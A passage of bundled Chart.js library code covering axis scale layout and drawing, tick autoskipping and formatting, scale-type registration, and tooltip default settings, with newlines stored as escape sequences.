tickFont.font;\n\t\t\t\t\tvar firstLabelWidth = computeTextSize(me.ctx, labels[0], tickFont.font);\n\t\t\t\t\tvar lastLabelWidth = computeTextSize(me.ctx, labels[labels.length - 1], tickFont.font);\n\n\t\t\t\t\t// Ensure that our ticks are always inside the canvas. When rotated, ticks are right aligned\n\t\t\t\t\t// which means that the right padding is dominated by the font height\n\t\t\t\t\tif (me.labelRotation !== 0) {\n\t\t\t\t\t\tme.paddingLeft = opts.position === 'bottom' ? (cosRotation * firstLabelWidth) + 3 : (cosRotation * lineSpace) + 3; // add 3 px to move away from canvas edges\n\t\t\t\t\t\tme.paddingRight = opts.position === 'bottom' ? (cosRotation * lineSpace) + 3 : (cosRotation * lastLabelWidth) + 3;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tme.paddingLeft = firstLabelWidth / 2 + 3; // add 3 px to move away from canvas edges\n\t\t\t\t\t\tme.paddingRight = lastLabelWidth / 2 + 3;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// A vertical axis is more constrained by the width. Labels are the\n\t\t\t\t\t// dominant factor here, so get that length first and account for padding\n\t\t\t\t\tif (tickOpts.mirror) {\n\t\t\t\t\t\tlargestTextWidth = 0;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// use lineSpace for consistency with horizontal axis\n\t\t\t\t\t\t// tickPadding is not implemented for horizontal\n\t\t\t\t\t\tlargestTextWidth += tickPadding + lineSpace;\n\t\t\t\t\t}\n\n\t\t\t\t\tminSize.width = Math.min(me.maxWidth, minSize.width + largestTextWidth);\n\n\t\t\t\t\tme.paddingTop = tickFont.size / 2;\n\t\t\t\t\tme.paddingBottom = tickFont.size / 2;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tme.handleMargins();\n\n\t\t\tme.width = minSize.width;\n\t\t\tme.height = minSize.height;\n\t\t},\n\n\t\t/**\n\t\t * Handle margins and padding interactions\n\t\t * @private\n\t\t */\n\t\thandleMargins: function() {\n\t\t\tvar me = this;\n\t\t\tif (me.margins) {\n\t\t\t\tme.paddingLeft = Math.max(me.paddingLeft - me.margins.left, 0);\n\t\t\t\tme.paddingTop = Math.max(me.paddingTop - me.margins.top, 0);\n\t\t\t\tme.paddingRight = Math.max(me.paddingRight - me.margins.right, 0);\n\t\t\t\tme.paddingBottom = Math.max(me.paddingBottom - me.margins.bottom, 0);\n\t\t\t}\n\t\t},\n\n\t\tafterFit: function() {\n\t\t\thelpers.callback(this.options.afterFit, [this]);\n\t\t},\n\n\t\t// Shared Methods\n\t\tisHorizontal: function() {\n\t\t\treturn this.options.position === 'top' || this.options.position === 'bottom';\n\t\t},\n\t\tisFullWidth: function() {\n\t\t\treturn (this.options.fullWidth);\n\t\t},\n\n\t\t// Get the correct value. NaN bad inputs, If the value type is object get the x or y based on whether we are horizontal or not\n\t\tgetRightValue: function(rawValue) {\n\t\t\t// Null and undefined values first\n\t\t\tif (helpers.isNullOrUndef(rawValue)) {\n\t\t\t\treturn NaN;\n\t\t\t}\n\t\t\t// isNaN(object) returns true, so make sure NaN is checking for a number; Discard Infinite values\n\t\t\tif (typeof rawValue === 'number' && !isFinite(rawValue)) {\n\t\t\t\treturn NaN;\n\t\t\t}\n\t\t\t// If it is in fact an object, dive in one more level\n\t\t\tif (rawValue) {\n\t\t\t\tif (this.isHorizontal()) {\n\t\t\t\t\tif (rawValue.x !== undefined) {\n\t\t\t\t\t\treturn this.getRightValue(rawValue.x);\n\t\t\t\t\t}\n\t\t\t\t} else if (rawValue.y !== undefined) {\n\t\t\t\t\treturn this.getRightValue(rawValue.y);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Value is good, return it\n\t\t\treturn rawValue;\n\t\t},\n\n\t\t/**\n\t\t * Used to get the value to display in the tooltip for the data at the given index\n\t\t * @param index\n\t\t * @param datasetIndex\n\t\t */\n\t\tgetLabelForIndex: helpers.noop,\n\n\t\t/**\n\t\t * Returns the location of the given data point. Value can either be an index or a numerical value\n\t\t * The coordinate (0, 0) is at the upper-left corner of the canvas\n\t\t * @param value\n\t\t * @param index\n\t\t * @param datasetIndex\n\t\t */\n\t\tgetPixelForValue: helpers.noop,\n\n\t\t/**\n\t\t * Used to get the data value from a given pixel. This is the inverse of getPixelForValue\n\t\t * The coordinate (0, 0) is at the upper-left corner of the canvas\n\t\t * @param pixel\n\t\t */\n\t\tgetValueForPixel: helpers.noop,\n\n\t\t/**\n\t\t * Returns the location of the tick at the given index\n\t\t * The coordinate (0, 0) is at the upper-left corner of the canvas\n\t\t */\n\t\tgetPixelForTick: function(index) {\n\t\t\tvar me = this;\n\t\t\tvar offset = me.options.offset;\n\t\t\tif (me.isHorizontal()) {\n\t\t\t\tvar innerWidth = me.width - (me.paddingLeft + me.paddingRight);\n\t\t\t\tvar tickWidth = innerWidth / Math.max((me._ticks.length - (offset ? 0 : 1)), 1);\n\t\t\t\tvar pixel = (tickWidth * index) + me.paddingLeft;\n\n\t\t\t\tif (offset) {\n\t\t\t\t\tpixel += tickWidth / 2;\n\t\t\t\t}\n\n\t\t\t\tvar finalVal = me.left + Math.round(pixel);\n\t\t\t\tfinalVal += me.isFullWidth() ? me.margins.left : 0;\n\t\t\t\treturn finalVal;\n\t\t\t}\n\t\t\tvar innerHeight = me.height - (me.paddingTop + me.paddingBottom);\n\t\t\treturn me.top + (index * (innerHeight / (me._ticks.length - 1)));\n\t\t},\n\n\t\t/**\n\t\t * Utility for getting the pixel location of a percentage of scale\n\t\t * The coordinate (0, 0) is at the upper-left corner of the canvas\n\t\t */\n\t\tgetPixelForDecimal: function(decimal) {\n\t\t\tvar me = this;\n\t\t\tif (me.isHorizontal()) {\n\t\t\t\tvar innerWidth = me.width - (me.paddingLeft + me.paddingRight);\n\t\t\t\tvar valueOffset = (innerWidth * decimal) + me.paddingLeft;\n\n\t\t\t\tvar finalVal = me.left + Math.round(valueOffset);\n\t\t\t\tfinalVal += me.isFullWidth() ? me.margins.left : 0;\n\t\t\t\treturn finalVal;\n\t\t\t}\n\t\t\treturn me.top + (decimal * me.height);\n\t\t},\n\n\t\t/**\n\t\t * Returns the pixel for the minimum chart value\n\t\t * The coordinate (0, 0) is at the upper-left corner of the canvas\n\t\t */\n\t\tgetBasePixel: function() {\n\t\t\treturn this.getPixelForValue(this.getBaseValue());\n\t\t},\n\n\t\tgetBaseValue: function() {\n\t\t\tvar me = this;\n\t\t\tvar min = me.min;\n\t\t\tvar max = me.max;\n\n\t\t\treturn me.beginAtZero ? 0 :\n\t\t\t\tmin < 0 && max < 0 ? max :\n\t\t\t\tmin > 0 && max > 0 ? min :\n\t\t\t\t0;\n\t\t},\n\n\t\t/**\n\t\t * Returns a subset of ticks to be plotted to avoid overlapping labels.\n\t\t * @private\n\t\t */\n\t\t_autoSkip: function(ticks) {\n\t\t\tvar skipRatio;\n\t\t\tvar me = this;\n\t\t\tvar isHorizontal = me.isHorizontal();\n\t\t\tvar optionTicks = me.options.ticks.minor;\n\t\t\tvar tickCount = ticks.length;\n\t\t\tvar labelRotationRadians = helpers.toRadians(me.labelRotation);\n\t\t\tvar cosRotation = Math.cos(labelRotationRadians);\n\t\t\tvar longestRotatedLabel = me.longestLabelWidth * cosRotation;\n\t\t\tvar result = [];\n\t\t\tvar i, tick, shouldSkip;\n\n\t\t\t// figure out the maximum number of gridlines to show\n\t\t\tvar maxTicks;\n\t\t\tif (optionTicks.maxTicksLimit) {\n\t\t\t\tmaxTicks = optionTicks.maxTicksLimit;\n\t\t\t}\n\n\t\t\tif (isHorizontal) {\n\t\t\t\tskipRatio = false;\n\n\t\t\t\tif ((longestRotatedLabel + optionTicks.autoSkipPadding) * tickCount > (me.width - (me.paddingLeft + me.paddingRight))) {\n\t\t\t\t\tskipRatio = 1 + Math.floor(((longestRotatedLabel + optionTicks.autoSkipPadding) * tickCount) / (me.width - (me.paddingLeft + me.paddingRight)));\n\t\t\t\t}\n\n\t\t\t\t// if they defined a max number of optionTicks,\n\t\t\t\t// increase skipRatio until that number is met\n\t\t\t\tif (maxTicks && tickCount > maxTicks) {\n\t\t\t\t\tskipRatio = Math.max(skipRatio, Math.floor(tickCount / maxTicks));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor (i = 0; i < tickCount; i++) {\n\t\t\t\ttick = ticks[i];\n\n\t\t\t\t// Since we always show the last tick,we need may need to hide the last shown one before\n\t\t\t\tshouldSkip = (skipRatio > 1 && i % skipRatio > 0) || (i % skipRatio === 0 && i + skipRatio >= tickCount);\n\t\t\t\tif (shouldSkip && i !== tickCount - 1) {\n\t\t\t\t\t// leave tick in place but make sure it's not displayed (#4635)\n\t\t\t\t\tdelete tick.label;\n\t\t\t\t}\n\t\t\t\tresult.push(tick);\n\t\t\t}\n\t\t\treturn result;\n\t\t},\n\n\t\t// Actually draw the scale on the canvas\n\t\t// @param {rectangle} chartArea : the area of the chart to draw full grid lines on\n\t\tdraw: function(chartArea) {\n\t\t\tvar me = this;\n\t\t\tvar options = me.options;\n\t\t\tif (!options.display) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tvar context = me.ctx;\n\t\t\tvar globalDefaults = defaults.global;\n\t\t\tvar optionTicks = options.ticks.minor;\n\t\t\tvar optionMajorTicks = options.ticks.major || optionTicks;\n\t\t\tvar gridLines = options.gridLines;\n\t\t\tvar scaleLabel = options.scaleLabel;\n\n\t\t\tvar isRotated = me.labelRotation !== 0;\n\t\t\tvar isHorizontal = me.isHorizontal();\n\n\t\t\tvar ticks = optionTicks.autoSkip ? me._autoSkip(me.getTicks()) : me.getTicks();\n\t\t\tvar tickFontColor = helpers.valueOrDefault(optionTicks.fontColor, globalDefaults.defaultFontColor);\n\t\t\tvar tickFont = parseFontOptions(optionTicks);\n\t\t\tvar majorTickFontColor = helpers.valueOrDefault(optionMajorTicks.fontColor, globalDefaults.defaultFontColor);\n\t\t\tvar majorTickFont = parseFontOptions(optionMajorTicks);\n\n\t\t\tvar tl = gridLines.drawTicks ? gridLines.tickMarkLength : 0;\n\n\t\t\tvar scaleLabelFontColor = helpers.valueOrDefault(scaleLabel.fontColor, globalDefaults.defaultFontColor);\n\t\t\tvar scaleLabelFont = parseFontOptions(scaleLabel);\n\t\t\tvar scaleLabelPadding = helpers.options.toPadding(scaleLabel.padding);\n\t\t\tvar labelRotationRadians = helpers.toRadians(me.labelRotation);\n\n\t\t\tvar itemsToDraw = [];\n\n\t\t\tvar axisWidth = me.options.gridLines.lineWidth;\n\t\t\tvar xTickStart = options.position === 'right' ? me.right : me.right - axisWidth - tl;\n\t\t\tvar xTickEnd = options.position === 'right' ? me.right + tl : me.right;\n\t\t\tvar yTickStart = options.position === 'bottom' ? me.top + axisWidth : me.bottom - tl - axisWidth;\n\t\t\tvar yTickEnd = options.position === 'bottom' ? me.top + axisWidth + tl : me.bottom + axisWidth;\n\n\t\t\thelpers.each(ticks, function(tick, index) {\n\t\t\t\t// autoskipper skipped this tick (#4635)\n\t\t\t\tif (helpers.isNullOrUndef(tick.label)) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tvar label = tick.label;\n\t\t\t\tvar lineWidth, lineColor, borderDash, borderDashOffset;\n\t\t\t\tif (index === me.zeroLineIndex && options.offset === gridLines.offsetGridLines) {\n\t\t\t\t\t// Draw the first index specially\n\t\t\t\t\tlineWidth = gridLines.zeroLineWidth;\n\t\t\t\t\tlineColor = gridLines.zeroLineColor;\n\t\t\t\t\tborderDash = gridLines.zeroLineBorderDash;\n\t\t\t\t\tborderDashOffset = gridLines.zeroLineBorderDashOffset;\n\t\t\t\t} else {\n\t\t\t\t\tlineWidth = helpers.valueAtIndexOrDefault(gridLines.lineWidth, index);\n\t\t\t\t\tlineColor = helpers.valueAtIndexOrDefault(gridLines.color, index);\n\t\t\t\t\tborderDash = helpers.valueOrDefault(gridLines.borderDash, globalDefaults.borderDash);\n\t\t\t\t\tborderDashOffset = helpers.valueOrDefault(gridLines.borderDashOffset, globalDefaults.borderDashOffset);\n\t\t\t\t}\n\n\t\t\t\t// Common properties\n\t\t\t\tvar tx1, ty1, tx2, ty2, x1, y1, x2, y2, labelX, labelY;\n\t\t\t\tvar textAlign = 'middle';\n\t\t\t\tvar textBaseline = 'middle';\n\t\t\t\tvar tickPadding = optionTicks.padding;\n\n\t\t\t\tif (isHorizontal) {\n\t\t\t\t\tvar labelYOffset = tl + tickPadding;\n\n\t\t\t\t\tif (options.position === 'bottom') {\n\t\t\t\t\t\t// bottom\n\t\t\t\t\t\ttextBaseline = !isRotated ? 'top' : 'middle';\n\t\t\t\t\t\ttextAlign = !isRotated ? 'center' : 'right';\n\t\t\t\t\t\tlabelY = me.top + labelYOffset;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// top\n\t\t\t\t\t\ttextBaseline = !isRotated ? 'bottom' : 'middle';\n\t\t\t\t\t\ttextAlign = !isRotated ? 'center' : 'left';\n\t\t\t\t\t\tlabelY = me.bottom - labelYOffset;\n\t\t\t\t\t}\n\n\t\t\t\t\tvar xLineValue = getLineValue(me, index, gridLines.offsetGridLines && ticks.length > 1);\n\t\t\t\t\tif (xLineValue < me.left) {\n\t\t\t\t\t\tlineColor = 'rgba(0,0,0,0)';\n\t\t\t\t\t}\n\t\t\t\t\txLineValue += helpers.aliasPixel(lineWidth);\n\n\t\t\t\t\tlabelX = me.getPixelForTick(index) + optionTicks.labelOffset; // x values for optionTicks (need to consider offsetLabel option)\n\n\t\t\t\t\ttx1 = tx2 = x1 = x2 = xLineValue;\n\t\t\t\t\tty1 = yTickStart;\n\t\t\t\t\tty2 = yTickEnd;\n\t\t\t\t\ty1 = chartArea.top;\n\t\t\t\t\ty2 = chartArea.bottom + axisWidth;\n\t\t\t\t} else {\n\t\t\t\t\tvar isLeft = options.position === 'left';\n\t\t\t\t\tvar labelXOffset;\n\n\t\t\t\t\tif (optionTicks.mirror) {\n\t\t\t\t\t\ttextAlign = isLeft ? 'left' : 'right';\n\t\t\t\t\t\tlabelXOffset = tickPadding;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttextAlign = isLeft ? 'right' : 'left';\n\t\t\t\t\t\tlabelXOffset = tl + tickPadding;\n\t\t\t\t\t}\n\n\t\t\t\t\tlabelX = isLeft ? me.right - labelXOffset : me.left + labelXOffset;\n\n\t\t\t\t\tvar yLineValue = getLineValue(me, index, gridLines.offsetGridLines && ticks.length > 1);\n\t\t\t\t\tif (yLineValue < me.top) {\n\t\t\t\t\t\tlineColor = 'rgba(0,0,0,0)';\n\t\t\t\t\t}\n\t\t\t\t\tyLineValue += helpers.aliasPixel(lineWidth);\n\n\t\t\t\t\tlabelY = me.getPixelForTick(index) + optionTicks.labelOffset;\n\n\t\t\t\t\ttx1 = xTickStart;\n\t\t\t\t\ttx2 = xTickEnd;\n\t\t\t\t\tx1 = chartArea.left;\n\t\t\t\t\tx2 = chartArea.right + axisWidth;\n\t\t\t\t\tty1 = ty2 = y1 = y2 = yLineValue;\n\t\t\t\t}\n\n\t\t\t\titemsToDraw.push({\n\t\t\t\t\ttx1: tx1,\n\t\t\t\t\tty1: ty1,\n\t\t\t\t\ttx2: tx2,\n\t\t\t\t\tty2: ty2,\n\t\t\t\t\tx1: x1,\n\t\t\t\t\ty1: y1,\n\t\t\t\t\tx2: x2,\n\t\t\t\t\ty2: y2,\n\t\t\t\t\tlabelX: labelX,\n\t\t\t\t\tlabelY: labelY,\n\t\t\t\t\tglWidth: lineWidth,\n\t\t\t\t\tglColor: lineColor,\n\t\t\t\t\tglBorderDash: borderDash,\n\t\t\t\t\tglBorderDashOffset: borderDashOffset,\n\t\t\t\t\trotation: -1 * labelRotationRadians,\n\t\t\t\t\tlabel: label,\n\t\t\t\t\tmajor: tick.major,\n\t\t\t\t\ttextBaseline: textBaseline,\n\t\t\t\t\ttextAlign: textAlign\n\t\t\t\t});\n\t\t\t});\n\n\t\t\t// Draw all of the tick labels, tick marks, and grid lines at the correct places\n\t\t\thelpers.each(itemsToDraw, function(itemToDraw) {\n\t\t\t\tif (gridLines.display) {\n\t\t\t\t\tcontext.save();\n\t\t\t\t\tcontext.lineWidth = itemToDraw.glWidth;\n\t\t\t\t\tcontext.strokeStyle = itemToDraw.glColor;\n\t\t\t\t\tif (context.setLineDash) {\n\t\t\t\t\t\tcontext.setLineDash(itemToDraw.glBorderDash);\n\t\t\t\t\t\tcontext.lineDashOffset = itemToDraw.glBorderDashOffset;\n\t\t\t\t\t}\n\n\t\t\t\t\tcontext.beginPath();\n\n\t\t\t\t\tif (gridLines.drawTicks) {\n\t\t\t\t\t\tcontext.moveTo(itemToDraw.tx1, itemToDraw.ty1);\n\t\t\t\t\t\tcontext.lineTo(itemToDraw.tx2, itemToDraw.ty2);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (gridLines.drawOnChartArea) {\n\t\t\t\t\t\tcontext.moveTo(itemToDraw.x1, itemToDraw.y1);\n\t\t\t\t\t\tcontext.lineTo(itemToDraw.x2, itemToDraw.y2);\n\t\t\t\t\t}\n\n\t\t\t\t\tcontext.stroke();\n\t\t\t\t\tcontext.restore();\n\t\t\t\t}\n\n\t\t\t\tif (optionTicks.display) {\n\t\t\t\t\t// Make sure we draw text in the correct color and font\n\t\t\t\t\tcontext.save();\n\t\t\t\t\tcontext.translate(itemToDraw.labelX, itemToDraw.labelY);\n\t\t\t\t\tcontext.rotate(itemToDraw.rotation);\n\t\t\t\t\tcontext.font = itemToDraw.major ? majorTickFont.font : tickFont.font;\n\t\t\t\t\tcontext.fillStyle = itemToDraw.major ? majorTickFontColor : tickFontColor;\n\t\t\t\t\tcontext.textBaseline = itemToDraw.textBaseline;\n\t\t\t\t\tcontext.textAlign = itemToDraw.textAlign;\n\n\t\t\t\t\tvar label = itemToDraw.label;\n\t\t\t\t\tif (helpers.isArray(label)) {\n\t\t\t\t\t\tvar lineCount = label.length;\n\t\t\t\t\t\tvar lineHeight = tickFont.size * 1.5;\n\t\t\t\t\t\tvar y = me.isHorizontal() ? 0 : -lineHeight * (lineCount - 1) / 2;\n\n\t\t\t\t\t\tfor (var i = 0; i < lineCount; ++i) {\n\t\t\t\t\t\t\t// We just make sure the multiline element is a string here..\n\t\t\t\t\t\t\tcontext.fillText('' + label[i], 0, y);\n\t\t\t\t\t\t\t// apply same lineSpacing as calculated @ L#320\n\t\t\t\t\t\t\ty += lineHeight;\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tcontext.fillText(label, 0, 0);\n\t\t\t\t\t}\n\t\t\t\t\tcontext.restore();\n\t\t\t\t}\n\t\t\t});\n\n\t\t\tif (scaleLabel.display) {\n\t\t\t\t// Draw the scale label\n\t\t\t\tvar scaleLabelX;\n\t\t\t\tvar scaleLabelY;\n\t\t\t\tvar rotation = 0;\n\t\t\t\tvar halfLineHeight = parseLineHeight(scaleLabel) / 2;\n\n\t\t\t\tif (isHorizontal) {\n\t\t\t\t\tscaleLabelX = me.left + ((me.right - me.left) / 2); // midpoint of the width\n\t\t\t\t\tscaleLabelY = options.position === 'bottom'\n\t\t\t\t\t\t? me.bottom - halfLineHeight - scaleLabelPadding.bottom\n\t\t\t\t\t\t: me.top + halfLineHeight + scaleLabelPadding.top;\n\t\t\t\t} else {\n\t\t\t\t\tvar isLeft = options.position === 'left';\n\t\t\t\t\tscaleLabelX = isLeft\n\t\t\t\t\t\t? me.left + halfLineHeight + scaleLabelPadding.top\n\t\t\t\t\t\t: me.right - halfLineHeight - scaleLabelPadding.top;\n\t\t\t\t\tscaleLabelY = me.top + ((me.bottom - me.top) / 2);\n\t\t\t\t\trotation = isLeft ? -0.5 * Math.PI : 0.5 * Math.PI;\n\t\t\t\t}\n\n\t\t\t\tcontext.save();\n\t\t\t\tcontext.translate(scaleLabelX, scaleLabelY);\n\t\t\t\tcontext.rotate(rotation);\n\t\t\t\tcontext.textAlign = 'center';\n\t\t\t\tcontext.textBaseline = 'middle';\n\t\t\t\tcontext.fillStyle = scaleLabelFontColor; // render in correct colour\n\t\t\t\tcontext.font = scaleLabelFont.font;\n\t\t\t\tcontext.fillText(scaleLabel.labelString, 0, 0);\n\t\t\t\tcontext.restore();\n\t\t\t}\n\n\t\t\tif (gridLines.drawBorder) {\n\t\t\t\t// Draw the line at the edge of the axis\n\t\t\t\tcontext.lineWidth = helpers.valueAtIndexOrDefault(gridLines.lineWidth, 0);\n\t\t\t\tcontext.strokeStyle = helpers.valueAtIndexOrDefault(gridLines.color, 0);\n\t\t\t\tvar x1 = me.left;\n\t\t\t\tvar x2 = me.right + axisWidth;\n\t\t\t\tvar y1 = me.top;\n\t\t\t\tvar y2 = me.bottom + axisWidth;\n\n\t\t\t\tvar aliasPixel = helpers.aliasPixel(context.lineWidth);\n\t\t\t\tif (isHorizontal) {\n\t\t\t\t\ty1 = y2 = options.position === 'top' ? me.bottom : me.top;\n\t\t\t\t\ty1 += aliasPixel;\n\t\t\t\t\ty2 += aliasPixel;\n\t\t\t\t} else {\n\t\t\t\t\tx1 = x2 = options.position === 'left' ? me.right : me.left;\n\t\t\t\t\tx1 += aliasPixel;\n\t\t\t\t\tx2 += aliasPixel;\n\t\t\t\t}\n\n\t\t\t\tcontext.beginPath();\n\t\t\t\tcontext.moveTo(x1, y1);\n\t\t\t\tcontext.lineTo(x2, y2);\n\t\t\t\tcontext.stroke();\n\t\t\t}\n\t\t}\n\t});\n};\n\n},{\"25\":25,\"26\":26,\"34\":34,\"45\":45}],33:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\nvar helpers = require(45);\nvar layouts = require(30);\n\nmodule.exports = function(Chart) {\n\n\tChart.scaleService = {\n\t\t// Scale registration object. Extensions can register new scale types (such as log or DB scales) and then\n\t\t// use the new chart options to grab the correct scale\n\t\tconstructors: {},\n\t\t// Use a registration function so that we can move to an ES6 map when we no longer need to support\n\t\t// old browsers\n\n\t\t// Scale config defaults\n\t\tdefaults: {},\n\t\tregisterScaleType: function(type, scaleConstructor, scaleDefaults) {\n\t\t\tthis.constructors[type] = scaleConstructor;\n\t\t\tthis.defaults[type] = helpers.clone(scaleDefaults);\n\t\t},\n\t\tgetScaleConstructor: function(type) {\n\t\t\treturn this.constructors.hasOwnProperty(type) ? this.constructors[type] : undefined;\n\t\t},\n\t\tgetScaleDefaults: function(type) {\n\t\t\t// Return the scale defaults merged with the global settings so that we always use the latest ones\n\t\t\treturn this.defaults.hasOwnProperty(type) ? helpers.merge({}, [defaults.scale, this.defaults[type]]) : {};\n\t\t},\n\t\tupdateScaleDefaults: function(type, additions) {\n\t\t\tvar me = this;\n\t\t\tif (me.defaults.hasOwnProperty(type)) {\n\t\t\t\tme.defaults[type] = helpers.extend(me.defaults[type], additions);\n\t\t\t}\n\t\t},\n\t\taddScalesToLayout: function(chart) {\n\t\t\t// Adds each scale to the chart.boxes array to be sized accordingly\n\t\t\thelpers.each(chart.scales, function(scale) {\n\t\t\t\t// Set ILayoutItem parameters for backwards compatibility\n\t\t\t\tscale.fullWidth = scale.options.fullWidth;\n\t\t\t\tscale.position = scale.options.position;\n\t\t\t\tscale.weight = scale.options.weight;\n\t\t\t\tlayouts.addBox(chart, scale);\n\t\t\t});\n\t\t}\n\t};\n};\n\n},{\"25\":25,\"30\":30,\"45\":45}],34:[function(require,module,exports){\n'use strict';\n\nvar helpers = require(45);\n\n/**\n * Namespace to hold static tick generation functions\n * @namespace Chart.Ticks\n */\nmodule.exports = {\n\t/**\n\t * Namespace to hold formatters for different types of ticks\n\t * @namespace Chart.Ticks.formatters\n\t */\n\tformatters: {\n\t\t/**\n\t\t * Formatter for value labels\n\t\t * @method Chart.Ticks.formatters.values\n\t\t * @param value the value to display\n\t\t * @return {String|Array} the label to display\n\t\t */\n\t\tvalues: function(value) {\n\t\t\treturn helpers.isArray(value) ? value : '' + value;\n\t\t},\n\n\t\t/**\n\t\t * Formatter for linear numeric ticks\n\t\t * @method Chart.Ticks.formatters.linear\n\t\t * @param tickValue {Number} the value to be formatted\n\t\t * @param index {Number} the position of the tickValue parameter in the ticks array\n\t\t * @param ticks {Array<Number>} the list of ticks being converted\n\t\t * @return {String} string representation of the tickValue parameter\n\t\t */\n\t\tlinear: function(tickValue, index, ticks) {\n\t\t\t// If we have lots of ticks, don't use the ones\n\t\t\tvar delta = ticks.length > 3 ? ticks[2] - ticks[1] : ticks[1] - ticks[0];\n\n\t\t\t// If we have a number like 2.5 as the delta, figure out how many decimal places we need\n\t\t\tif (Math.abs(delta) > 1) {\n\t\t\t\tif (tickValue !== Math.floor(tickValue)) {\n\t\t\t\t\t// not an integer\n\t\t\t\t\tdelta = tickValue - Math.floor(tickValue);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tvar logDelta = helpers.log10(Math.abs(delta));\n\t\t\tvar tickString = '';\n\n\t\t\tif (tickValue !== 0) {\n\t\t\t\tvar numDecimal = -1 * Math.floor(logDelta);\n\t\t\t\tnumDecimal = Math.max(Math.min(numDecimal, 20), 0); // toFixed has a max of 20 decimal places\n\t\t\t\ttickString = tickValue.toFixed(numDecimal);\n\t\t\t} else {\n\t\t\t\ttickString = '0'; // never show decimal places for 0\n\t\t\t}\n\n\t\t\treturn tickString;\n\t\t},\n\n\t\tlogarithmic: function(tickValue, index, ticks) {\n\t\t\tvar remain = tickValue / (Math.pow(10, Math.floor(helpers.log10(tickValue))));\n\n\t\t\tif (tickValue === 0) {\n\t\t\t\treturn '0';\n\t\t\t} else if (remain === 1 || remain === 2 || remain === 5 || index === 0 || index === ticks.length - 1) {\n\t\t\t\treturn tickValue.toExponential();\n\t\t\t}\n\t\t\treturn '';\n\t\t}\n\t}\n};\n\n},{\"45\":45}],35:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\nvar Element = require(26);\nvar helpers = require(45);\n\ndefaults._set('global', {\n\ttooltips: {\n\t\tenabled: true,\n\t\tcustom: null,\n\t\tmode: 'nearest',\n\t\tposition: 'average',\n\t\tintersect: true,\n\t\tbackgroundColor: 'rgba(0,0,0,0.8)',\n\t\ttitleFontStyle: 'bold',\n\t\ttitleSpacing: 2,\n\t\ttitleMarginBottom: 6,\n\t\ttitleFontColor: '#fff',\n\t\ttitleAlign: 'left',\n\t\tbodySpacing: 2,\n\t\tbodyFontColor: '#fff',\n\t\tbodyAlign: 'left',\n\t\tfooterFontStyle: 'bold',\n\t\tfooterSpacing: 2,\n\t\tfooterMarginTop: 6,\n\t\tfooterFontColor: '#fff',\n\t\tfooterAlign: 'left',\n\t\tyPadding: 6,\n\t\txPadding: 6,\n\t\tcaretPadding: 2,\n\t\tcaretSize: 5,\n\t\tcornerRadius: 6,\n\t\tmultiKeyBackground: '#fff',\n\t\tdisplayColors: true,\n\t\tborderColor: 'rgba(0,0,0,0)',\n\t\tborderWidth: 0,\n\t\tcallbacks: {\n\t\t\t// Args are: (tooltipItems, data)\n\t\t\tbeforeTitle: helpers.noop,\n\t\t\ttitle: function(tooltipItems, data) {\n\t\t\t\t// Pick first xLabel for now\n\t\t\t\tvar title = '';\n\t\t\t\tvar labels = data.labels;\n\t\t\t\tvar labelCount = labels ? labels.length : 0;\n\n\t\t\t\tif (tooltipItems.length > 0) {\n\t\t\t\t\tvar item = tooltipItems[0];\n\n\t\t\t\t\tif (item.xLabel) {\n\t\t\t\t\t\ttitle = item.xLabel;\n\t\t\t\t\t} else if (labelCount > 0 && item.index < labelCount) {\n\t\t\t\t\t\ttitle = labels[item.index];\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn title;\n\t\t\t},\n\t\t\tafterTitle: helpers.noop,\n\n\t\t\t// Args are: (tooltipItems, data)\n\t\t\tbeforeBody: helpers.noop,\n\n\t\t\t// Args are: (tooltipItem, data)\n\t\t\tbeforeLabel: helpers.noop,\n\t\t\tlabel: function(tooltipItem, data) {\n\t\t\t\tvar label = data.datasets[tooltipItem.datasetIndex].label || '';\n\n\t\t\t\tif (label) {\n\t\t\t\t\tlabel += ': ';\n\t\t\t\t}\n\t\t\t\tlabel += tooltipItem.yLabel;\n\t\t\t\treturn label;\n\t\t\t},\n\t\t\tlabelColor: function(tooltipItem, chart) {\n\t\t\t\tvar meta = chart.getDatasetMeta(tooltipItem.datasetIndex);\n\t\t\t\tvar activeElement = meta.data[tooltipItem.index];\n\t\t\t\tvar view = activeElement._view;\n\t\t\t\treturn {\n\t\t\t\t\tborderColor: view.borderColor,\n\t\t\t\t\tbackgroundColor: view.backgroundColor\n\t\t\t\t};\n\t\t\t},\n\t\t\tlabelTextColor: function() {\n\t\t\t\treturn this._options.bodyFontColor;\n\t\t\t},\n\t\t\tafterLabel: helpers.noop,\n\n\t\t\t// Args are: (tooltipItems, data)\n\t\t\tafterBody: helpers.noop,\n\n\t\t\t// Args are: (tooltipItems, data)\n\t\t\tbeforeFooter: helpers.noop,\n\t\t\tfooter: helpers.noop,\n\t\t\tafterFooter: helpers.noop\n\t\t}\n\t}\n});\n\nmodule.exports = function(Chart) {\n\n\t/**\n \t * Helper method to merge the opacity into a color\n \t */\n\tfunction mergeOpacity(colorString, opacity) {\n\t\tvar color = helpers.color(colorString);\n\t\treturn color.alpha(opacity * color.alpha()).rgbaString();\n\t}\n\n\t// Helper to push or concat based on if the 2nd parameter is an array or not\n\tfunction pushOrConcat(base, toPush) {\n\t\tif (toPush) {\n\t\t\tif (helpers.isArray(toPush)) {\n\t\t\t\t// base = base.concat(toPush);\n\t\t\t\tArray.prototype.push.apply(base, toPush);\n\t\t\t} else {\n\t\t\t\tbase.push(toPush);\n\t\t\t}\n\t\t}\n\n\t\treturn base;\n\t}\n\n\t// Private helper to create a tooltip item model\n\t// @param element : the chart element (point, arc, bar) to create the tooltip item for\n\t// @return : new tooltip item\n\tfunction createTooltipItem(element) {\n\t\tvar xScale = 